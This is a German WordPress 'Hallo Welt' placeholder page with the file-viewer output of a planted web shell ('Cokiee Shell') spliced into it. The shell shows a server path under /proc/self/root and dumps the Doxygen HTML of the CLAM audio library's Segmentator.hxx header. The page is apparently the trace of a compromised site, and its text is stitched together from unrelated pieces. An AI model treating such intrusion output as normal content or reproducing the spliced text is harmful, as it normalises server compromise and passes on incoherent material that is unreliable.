Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /proc/self/root/usr/share/doc/libclam-doc/html/ |
Current File : //proc/self/root/usr/share/doc/libclam-doc/html/Segmentator_8hxx_source.html |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>CLAM-Development: Segmentator.hxx Source File</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">CLAM-Development  <span id="projectnumber">1.4.0</span> </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.1 --> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main Page</span></a></li> <li><a href="pages.html"><span>Related Pages</span></a></li> <li><a href="modules.html"><span>Modules</span></a></li> <li><a href="namespaces.html"><span>Namespaces</span></a></li> <li><a href="annotated.html"><span>Classes</span></a></li> <li class="current"><a href="files.html"><span>Files</span></a></li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="files.html"><span>File List</span></a></li> <li><a href="globals.html"><span>File Members</span></a></li> </ul> </div> <div id="nav-path" class="navpath"> <ul> <li class="navelem"><a class="el" href="dir_68267d1309a1af8e8297ef4c3efbcdba.html">src</a></li><li class="navelem"><a class="el" href="dir_098894a2b9860dda60979d343b8f7997.html">Processing</a></li><li class="navelem"><a class="el" href="dir_3bb38452a33e18a9d5968b07586046b5.html">Analysis</a></li> </ul> </div> </div><!-- top --> <div class="header"> <div class="headertitle"> <div class="title">Segmentator.hxx</div> </div> </div><!--header--> <div class="contents"> <a href="Segmentator_8hxx.html">Go to the documentation of this file.</a><div class="fragment"><div class="line"><a name="l00001"></a><span class="lineno"> 1</span> <span class="comment">/*</span></div> <div class="line"><a name="l00002"></a><span class="lineno"> 2</span> <span class="comment"> * Copyright (c) 2001-2004 MUSIC TECHNOLOGY GROUP (MTG)</span></div> <div class="line"><a name="l00003"></a><span class="lineno"> 3</span> <span class="comment"> * UNIVERSITAT POMPEU FABRA</span></div> <div class="line"><a name="l00004"></a><span class="lineno"> 4</span> <span class="comment"> *</span></div> <div class="line"><a name="l00005"></a><span class="lineno"> 5</span> <span class="comment"> *</span></div> <div class="line"><a name="l00006"></a><span class="lineno"> 6</span> <span class="comment"> * This program is free software; you can redistribute it and/or modify</span></div> <div class="line"><a name="l00007"></a><span class="lineno"> 7</span> <span class="comment"> * it under the terms of the GNU General Public License as published by</span></div> <div class="line"><a name="l00008"></a><span class="lineno"> 8</span> <span class="comment"> * the Free Software Foundation; either version 2 of the License, or</span></div> <div class="line"><a name="l00009"></a><span class="lineno"> 9</span> <span class="comment"> * (at your option) any later version.</span></div> <div class="line"><a name="l00010"></a><span class="lineno"> 10</span> <span class="comment"> *</span></div> <div class="line"><a name="l00011"></a><span class="lineno"> 11</span> <span class="comment"> * This program is distributed in the hope that it will be useful,</span></div> <div class="line"><a name="l00012"></a><span class="lineno"> 12</span> <span class="comment"> * but WITHOUT ANY WARRANTY; without even the implied warranty of</span></div> <div class="line"><a name="l00013"></a><span class="lineno"> 13</span> <span class="comment"> * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the</span></div> <div class="line"><a name="l00014"></a><span class="lineno"> 14</span> <span class="comment"> * GNU General Public License for more details.</span></div> <div class="line"><a name="l00015"></a><span class="lineno"> 15</span> <span class="comment"> *</span></div> <div class="line"><a name="l00016"></a><span class="lineno"> 16</span> <span class="comment"> * You should have received a copy of the GNU General Public License</span></div> <div class="line"><a name="l00017"></a><span class="lineno"> 17</span> <span class="comment"> * along with this program; if not, write to the Free Software</span></div> <div class="line"><a name="l00018"></a><span class="lineno"> 18</span> <span class="comment"> * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA</span></div> <div class="line"><a name="l00019"></a><span class="lineno"> 19</span> <span class="comment"> *</span></div> <div class="line"><a name="l00020"></a><span class="lineno"> 20</span> <span class="comment"> */</span></div> <div class="line"><a name="l00021"></a><span class="lineno"> 21</span> </div> <div class="line"><a name="l00022"></a><span class="lineno"> 22</span> <span class="preprocessor">#ifndef _Segmentator_hxx_</span></div> <div class="line"><a name="l00023"></a><span class="lineno"> 23</span> <span class="preprocessor"></span><span class="preprocessor">#define _Segmentator_hxx_</span></div> <div class="line"><a name="l00024"></a><span class="lineno"> 24</span> <span class="preprocessor"></span></div> <div class="line"><a name="l00025"></a><span class="lineno"> 25</span> <span class="preprocessor">#include "<a class="code" href="Processing_8hxx.html">Processing.hxx</a>"</span></div> <div class="line"><a name="l00026"></a><span class="lineno"> 26</span> <span class="preprocessor">#include "<a class="code" href="SegmentatorConfig_8hxx.html">SegmentatorConfig.hxx</a>"</span></div> <div class="line"><a name="l00027"></a><span class="lineno"> 27</span> </div> <div class="line"><a name="l00028"></a><span class="lineno"> 28</span> <span class="preprocessor">#include "<a class="code" href="Matrix_8hxx.html">Matrix.hxx</a>"</span></div> <div class="line"><a name="l00029"></a><span class="lineno"> 29</span> <span class="comment">/* TODO: this should be moved to the .cxx but a simple forward declaration</span></div> <div class="line"><a name="l00030"></a><span class="lineno"> 30</span> <span class="comment"> won't work, so the method Algorithm should be implemented in a different</span></div> <div class="line"><a name="l00031"></a><span class="lineno"> 31</span> <span class="comment"> way. since this will break the interface with possible subclasses, we </span></div> <div class="line"><a name="l00032"></a><span class="lineno"> 32</span> <span class="comment"> leave it for later. MDB</span></div> <div class="line"><a name="l00033"></a><span class="lineno"> 33</span> <span class="comment">*/</span></div> <div class="line"><a name="l00034"></a><span class="lineno"> 34</span> </div> <div class="line"><a name="l00035"></a><span class="lineno"> 35</span> <span class="keyword">namespace </span>CLAM</div> <div class="line"><a name="l00036"></a><span class="lineno"> 36</span> {</div> <div class="line"><a name="l00037"></a><span class="lineno"> 37</span> </div> <div class="line"><a name="l00038"></a><span class="lineno"> 38</span> <span class="keyword">class </span>Segment;</div> <div class="line"><a name="l00039"></a><span class="lineno"> 39</span> <span class="keyword">class </span>SegmentDescriptors;</div> <div class="line"><a name="l00040"></a><span class="lineno"> 40</span> <span class="keyword">class </span>SegmentBoundaries;</div> <div class="line"><a name="l00041"></a><span class="lineno"> 41</span> </div> <div class="line"><a name="l00042"></a><span class="lineno"> 42</span> <span class="keyword">enum</span> {</div> <div class="line"><a name="l00043"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a46bce0e38929c04cf80cc5582ccac065"> 43</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a46bce0e38929c04cf80cc5582ccac065">SpectralDescBase</a>=150, <span class="comment">//for example</span></div> <div class="line"><a name="l00044"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a8a9bc975cb28d34d523ab024555ab724"> 44</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a8a9bc975cb28d34d523ab024555ab724">SpectralMeanId</a> = <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a46bce0e38929c04cf80cc5582ccac065">SpectralDescBase</a>,</div> <div class="line"><a name="l00045"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a3d0aaf9791ccd5897fd8f8b9cca5ef0e"> 45</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a3d0aaf9791ccd5897fd8f8b9cca5ef0e">SpectralGeometricMeanId</a> = <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a46bce0e38929c04cf80cc5582ccac065">SpectralDescBase</a>+1,</div> <div class="line"><a name="l00046"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a610e172fd11be735686e7a506872b8cf"> 46</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a610e172fd11be735686e7a506872b8cf">SpectralEnergyId</a> = <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a46bce0e38929c04cf80cc5582ccac065">SpectralDescBase</a>+2,</div> <div class="line"><a name="l00047"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450ad1a473221ad403fecfc8c5557a8a6ecb"> 47</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450ad1a473221ad403fecfc8c5557a8a6ecb">SpectralCentroidId</a> = <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a46bce0e38929c04cf80cc5582ccac065">SpectralDescBase</a>+3,</div> <div class="line"><a name="l00048"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a2da0c1b95f75e0d9f475a8e3fbbf50f7"> 48</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a2da0c1b95f75e0d9f475a8e3fbbf50f7">SpectralMoment2Id</a> = <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a46bce0e38929c04cf80cc5582ccac065">SpectralDescBase</a>+4,</div> <div class="line"><a name="l00049"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a1d40a1089376200122219f0cfc682a9b"> 49</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a1d40a1089376200122219f0cfc682a9b">SpectralMoment3Id</a> = <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a46bce0e38929c04cf80cc5582ccac065">SpectralDescBase</a>+5,</div> <div class="line"><a name="l00050"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a98107cd85c3451262f79d4cd4e79f30f"> 50</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a98107cd85c3451262f79d4cd4e79f30f">SpectralMoment4Id</a> = <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a46bce0e38929c04cf80cc5582ccac065">SpectralDescBase</a>+6,</div> <div class="line"><a name="l00051"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a870bf81b9d48a4ed7d7a5a6af57e6577"> 51</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a870bf81b9d48a4ed7d7a5a6af57e6577">SpectralMoment5Id</a> = <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a46bce0e38929c04cf80cc5582ccac065">SpectralDescBase</a>+7,</div> <div class="line"><a name="l00052"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450ad40a5893b9eb543a1ec2edd9004bbc0c"> 52</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450ad40a5893b9eb543a1ec2edd9004bbc0c">SpectralMoment6Id</a> = <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a46bce0e38929c04cf80cc5582ccac065">SpectralDescBase</a>+8,</div> <div class="line"><a name="l00053"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a51b80c02c81f2c2b17543b0258b62bc3"> 53</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a51b80c02c81f2c2b17543b0258b62bc3">SpectralFlatnessId</a> = <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a46bce0e38929c04cf80cc5582ccac065">SpectralDescBase</a>+9,</div> <div class="line"><a name="l00054"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450aa49d0c7ce2273d4796a8fa813ce11202"> 54</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450aa49d0c7ce2273d4796a8fa813ce11202">SpectralKurtosisId</a> = <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a46bce0e38929c04cf80cc5582ccac065">SpectralDescBase</a>+10,</div> <div class="line"><a name="l00055"></a><span class="lineno"> 55</span> </div> <div class="line"><a name="l00056"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a381dcc9a7acfe80c470c081173e7c0a7"> 56</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a381dcc9a7acfe80c470c081173e7c0a7">FrameDescBase</a> = 175, <span class="comment">//for example</span></div> <div class="line"><a name="l00057"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a96e0eceacca5648b051834542e0aa304"> 57</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a96e0eceacca5648b051834542e0aa304">FundamentalId</a> = <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a381dcc9a7acfe80c470c081173e7c0a7">FrameDescBase</a>,</div> <div class="line"><a name="l00058"></a><span class="lineno"> 58</span> </div> <div class="line"><a name="l00059"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450ab3a8b5f7c14ac3a8953d5827ace99d44"> 59</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450ab3a8b5f7c14ac3a8953d5827ace99d44">SegmentatorBase</a> = 200, <span class="comment">//for example</span></div> <div class="line"><a name="l00060"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450ab6a80f5c069173176ba3171b94c31822"> 60</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450ab6a80f5c069173176ba3171b94c31822">MinSegmentLenghtId</a> = <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450ab3a8b5f7c14ac3a8953d5827ace99d44">SegmentatorBase</a>,</div> <div class="line"><a name="l00061"></a><span class="lineno"> 61</span> </div> <div class="line"><a name="l00062"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a37faac30e74195b56a1eeb76820be435"> 62</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a37faac30e74195b56a1eeb76820be435">AudioDescriptorBase</a> = 250,</div> <div class="line"><a name="l00063"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450afb55757d581ed6b7b7debfd6d3112871"> 63</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450afb55757d581ed6b7b7debfd6d3112871">AudioMeanId</a> = <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a37faac30e74195b56a1eeb76820be435">AudioDescriptorBase</a>,</div> <div class="line"><a name="l00064"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a57a3117a900433390efdec5cfd70638e"> 64</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a57a3117a900433390efdec5cfd70638e">AudioEnergyId</a> = <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a37faac30e74195b56a1eeb76820be435">AudioDescriptorBase</a> + 1,</div> <div class="line"><a name="l00065"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a49672c5d0a82aad0ea7c970076d6d28f"> 65</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a49672c5d0a82aad0ea7c970076d6d28f">AudioVarianceId</a> = <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a37faac30e74195b56a1eeb76820be435">AudioDescriptorBase</a> + 2,</div> <div class="line"><a name="l00066"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a0f2cebc90f79a3868d0fbfbcb013ac93"> 66</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a0f2cebc90f79a3868d0fbfbcb013ac93">AudioCentroidId</a> = <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a37faac30e74195b56a1eeb76820be435">AudioDescriptorBase</a> + 3,</div> <div class="line"><a name="l00067"></a><span class="lineno"><a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a6eda19821ce4ec0fb1788f1b2c58996e"> 67</a></span>  <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a6eda19821ce4ec0fb1788f1b2c58996e">AudioZeroCrossingRateId</a> = <a class="code" href="namespaceCLAM.html#ae5cc8c6459b17f5aacb2a80e8d0d2450a37faac30e74195b56a1eeb76820be435">AudioDescriptorBase</a> + 4</div> <div class="line"><a name="l00068"></a><span class="lineno"> 68</span> };</div> <div class="line"><a name="l00069"></a><span class="lineno"> 69</span> </div> <div class="line"><a name="l00070"></a><span class="lineno"> 70</span> </div> <div class="line"><a name="l00071"></a><span class="lineno"><a class="code" href="classCLAM_1_1Segmentator.html"> 71</a></span> <span class="keyword">class </span><a class="code" href="classCLAM_1_1Segmentator.html">Segmentator</a> : <span class="keyword">public</span> <a class="code" href="classCLAM_1_1Processing.html" title="The base class for all the CLAM processing object classes.">Processing</a></div> <div class="line"><a name="l00072"></a><span class="lineno"> 72</span> {</div> <div class="line"><a name="l00073"></a><span class="lineno"> 73</span> <span class="keyword">public</span>:</div> <div class="line"><a name="l00074"></a><span class="lineno"> 74</span>  <a class="code" href="classCLAM_1_1Segmentator.html#ab4edd1419c07d3422d1278ce42632c56">Segmentator</a>();</div> <div class="line"><a name="l00075"></a><span class="lineno"> 75</span>  <a class="code" href="classCLAM_1_1Segmentator.html#ab4edd1419c07d3422d1278ce42632c56">Segmentator</a>(<span class="keyword">const</span> <a class="code" href="classCLAM_1_1SegmentatorConfig.html" title="Config class for the Segmentator Processing.">SegmentatorConfig</a>& c);</div> <div class="line"><a name="l00076"></a><span class="lineno"> 76</span>  <span class="keyword">virtual</span> <a class="code" href="classCLAM_1_1Segmentator.html#aa022b2d470b5b64caa4c4e1d6dbb0a71">~Segmentator</a>();</div> <div class="line"><a name="l00077"></a><span class="lineno"><a class="code" href="classCLAM_1_1Segmentator.html#a41c430bac113b1c1a2428b4a2cc2d6b1"> 77</a></span>  <span class="keyword">const</span> <span class="keywordtype">char</span> * <a class="code" href="classCLAM_1_1Segmentator.html#a41c430bac113b1c1a2428b4a2cc2d6b1" title="Override it in every subclass and retur the name of that class.">GetClassName</a>()<span class="keyword"> const </span>{<span class="keywordflow">return</span> <span class="stringliteral">"Segmentator"</span>;}</div> <div class="line"><a name="l00078"></a><span class="lineno"><a class="code" href="classCLAM_1_1Segmentator.html#ad03975338c23fc6ff72d4289400fd13a"> 78</a></span>  <span class="keyword">const</span> <a class="code" href="classCLAM_1_1ProcessingConfig.html" title="This is an abstract class which serves as interface for configuration classes used as processing obje...">ProcessingConfig</a>& <a class="code" href="classCLAM_1_1Segmentator.html#ad03975338c23fc6ff72d4289400fd13a" title="Configuration getter.">GetConfig</a>()<span class="keyword"> const </span>{<span class="keywordflow">return</span> <a class="code" href="classCLAM_1_1Segmentator.html#a0501ed9aa58ac7a16e2fedac001a8670">mConfig</a>;}</div> <div class="line"><a name="l00079"></a><span class="lineno"> 79</span>  <span class="keywordtype">bool</span> <a class="code" href="classCLAM_1_1Segmentator.html#a9986d87b1ad37eb68df12d5b985e5d73" title="Supervised mode execution method (using ports)">Do</a>();</div> <div class="line"><a name="l00080"></a><span class="lineno"> 80</span>  <span class="keywordtype">bool</span> <a class="code" href="classCLAM_1_1Segmentator.html#a9986d87b1ad37eb68df12d5b985e5d73" title="Supervised mode execution method (using ports)">Do</a>(<a class="code" href="classCLAM_1_1Segment.html" title="Processing Data class to encapsulate a CLAM segment.">Segment</a>& originalSegment,<a class="code" href="classCLAM_1_1SegmentDescriptors.html">SegmentDescriptors</a>& descriptors); <span class="comment">//for the time being only inplace processing is enabled</span></div> <div class="line"><a name="l00081"></a><span class="lineno"> 81</span> </div> <div class="line"><a name="l00082"></a><span class="lineno"> 82</span> <span class="keyword">protected</span>:</div> <div class="line"><a name="l00083"></a><span class="lineno"><a class="code" href="classCLAM_1_1Segmentator.html#a0501ed9aa58ac7a16e2fedac001a8670"> 83</a></span>  <a class="code" href="classCLAM_1_1SegmentatorConfig.html" title="Config class for the Segmentator Processing.">SegmentatorConfig</a> <a class="code" href="classCLAM_1_1Segmentator.html#a0501ed9aa58ac7a16e2fedac001a8670">mConfig</a>;</div> <div class="line"><a name="l00084"></a><span class="lineno"> 84</span> <span class="keyword">private</span>:</div> <div class="line"><a name="l00085"></a><span class="lineno"> 85</span>  <span class="keywordtype">void</span> DataFusion(<a class="code" href="classCLAM_1_1Segment.html" title="Processing Data class to encapsulate a CLAM segment.">Segment</a>& s,<span class="keyword">const</span> SegmentBoundaries& segmentBoundaries);</div> <div class="line"><a name="l00086"></a><span class="lineno"> 86</span>  <span class="keywordtype">bool</span> ConcreteConfigure(<span class="keyword">const</span> <a class="code" href="classCLAM_1_1ProcessingConfig.html" title="This is an abstract class which serves as interface for configuration classes used as processing obje...">ProcessingConfig</a>& c);</div> <div class="line"><a name="l00087"></a><span class="lineno"> 87</span>  <span class="comment">/* All Algorithms should follow this prototype, taking as an input a segment and</span></div> <div class="line"><a name="l00088"></a><span class="lineno"> 88</span> <span class="comment"> // a Matrix where the descriptors values are stored</span></div> <div class="line"><a name="l00089"></a><span class="lineno"> 89</span> <span class="comment"> */</span></div> <div class="line"><a name="l00090"></a><span class="lineno"> 90</span>  <span class="keyword">virtual</span> <span class="keywordtype">void</span> Algorithm(<a class="code" href="classCLAM_1_1Segment.html" title="Processing Data class to encapsulate a CLAM segment.">Segment</a>& s,<span class="keyword">const</span> <a class="code" href="classCLAM_1_1MatrixTmpl.html">Matrix</a>& values);</div> <div class="line"><a name="l00091"></a><span class="lineno"> 91</span> <span class="keyword">protected</span>:</div> <div class="line"><a name="l00092"></a><span class="lineno"> 92</span>  <span class="keyword">virtual</span> <span class="keywordtype">void</span> <a class="code" href="classCLAM_1_1Segmentator.html#a48778a7aa5618228b59aa2214ed6f2ed">UnwrapDescriptors</a>(<span class="keyword">const</span> <a class="code" href="classCLAM_1_1Segment.html" title="Processing Data class to encapsulate a CLAM segment.">Segment</a>& originalSegment,<a class="code" href="classCLAM_1_1SegmentDescriptors.html">SegmentDescriptors</a>& descriptors ,<a class="code" href="classCLAM_1_1MatrixTmpl.html">Matrix</a>& descriptorsValues);</div> <div class="line"><a name="l00093"></a><span class="lineno"> 93</span> };</div> <div class="line"><a name="l00094"></a><span class="lineno"> 94</span> </div> <div class="line"><a name="l00095"></a><span class="lineno"> 95</span> } <span class="comment">//namespace CLAM</span></div> <div class="line"><a name="l00096"></a><span class="lineno"> 96</span> </div> <div class="line"><a name="l00097"></a><span class="lineno"> 97</span> <span class="preprocessor">#endif // _Segmentator_hxx_</span></div> <div class="line"><a name="l00098"></a><span class="lineno"> 98</span> <span class="preprocessor"></span></div> </div><!-- fragment --></div><!-- contents --> <!-- start footer part --> <hr class="footer"/><address class="footer"><small> Generated by  <a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/> </a> 1.8.1 </small></address> </body> </html>
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare